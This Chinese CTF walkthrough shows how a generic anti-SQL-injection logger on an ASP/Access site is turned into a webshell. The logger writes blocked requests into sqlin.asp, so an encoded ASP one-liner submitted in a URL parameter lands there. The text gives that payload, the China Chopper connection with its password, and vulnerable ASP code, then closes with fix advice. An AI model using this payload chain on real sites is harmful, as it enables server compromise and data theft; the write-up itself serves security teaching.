在Access ASP架构中,很多网站采用通用防注入系统来防范SQL注入攻击,该系统确实在一定程度上面可以防范SQL注入,但其设计时存在一个重大的缺陷,将注入操作的url数据写入到asp文件中,如果在内容中插入Asp一句话加密木马内容,则可以获取webshell。
1.1.1漏洞测试
1.来自ctf通关的提示
在进行ctf实战中,碰到一个关口,提示采用sql通用防注入系统,通过提示知道key文件就在根目录下,而且记录是写入到数据库内。
图1 ctf关口提示
2.测试语句
在url中添加“and 1=1”进行注入测试,如图2所示,程序操作IP、操作时间、操作页面、提交方式和提交参数等进行提示和记录,提示攻击者,网站有安全防护。
图2提示注入防范
1.1.2获取webshell
1.通过sqlmap的绕过防火墙进行测试
在sqlmap中对该url地址进行绕过测试,未能成功。
2.使用加密的Asp一句话木马
使用“and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾“对url地址进行提交,也即:
10.2.66.50:8105/news.asp?id=753 aNd 2=┼攠數畣整爠煥敵瑳∨≡┩愾
如图3所示,sql防注入系统会自动将url地址写入到sqlin.asp文件。
图3插入一句话后门测试
3.访问sqlin.asp
在浏览器中输入http://10.2.66.50:8156/sqlin.asp进行访问测试,如图4所示,能够正常访问,前面插入的一句话后门直接写入到该文件。
图4测试sqlin.asp文件
4.获取webshell
在中国菜刀后门管理工具中创建asp后门记录http://10.2.66.50:8156/sqlin.asp,密码为a,如图5所示,成功获取webshell。
图5获取webshell
1.1.3获取key及程序漏洞分析
1.获取key值
通过webshell成功获取其key.php的值,如图6所示。key.php在网站目录设置了权限,无法通过http://10.2.66.50:8156/key.php直接获取。
图6获取key值
2.漏洞分析
(1)news.asp文件
通过对news.asp源代码进行分析,发现其ID值并未进行任何过滤,明显存在sql注入漏洞。
<% set rs= Server.CreateObject("adodb.recordset")
sql="select * from news where id="&Request("id")
rs.open sql,conn,1,3
bt=rs("bt")
nr=rs("nr")
(2)sql注入防范程序分析
sql注入防范程序是将数据信息插入到数据库中方便,其关键代码如下:
Fy_dbstr="DBQ=" server.mappath("SqlIn.asp") ";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
Set Fy_db=Server.CreateObject("ADODB.CONNECTION")
Fy_db.open Fy_dbstr
Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")
Fy_db.close
SQL注入防范程序会将每一次的非法数据提交到sqlln.asp文件,将该文件重命名为mdb文件,打开后其内容如图7所示,Access数据库获取webshell的一个关键条件和方法都满足,将加密的asp一句话后门写入数据库内容,同时又必须是asp文件。
图7数据库中内容
(3)安全建议
在存在参数传入的地方一定要进行过滤出来,同时进行类型的严格检查和限定。在本例中使用sql防范程序可以解决sql注入,但如果sql防范程序存在缺陷的情况,将导致网站存在安全风险。在本例中可以将sqlln.asp修改为mdb文件也可以避免。
,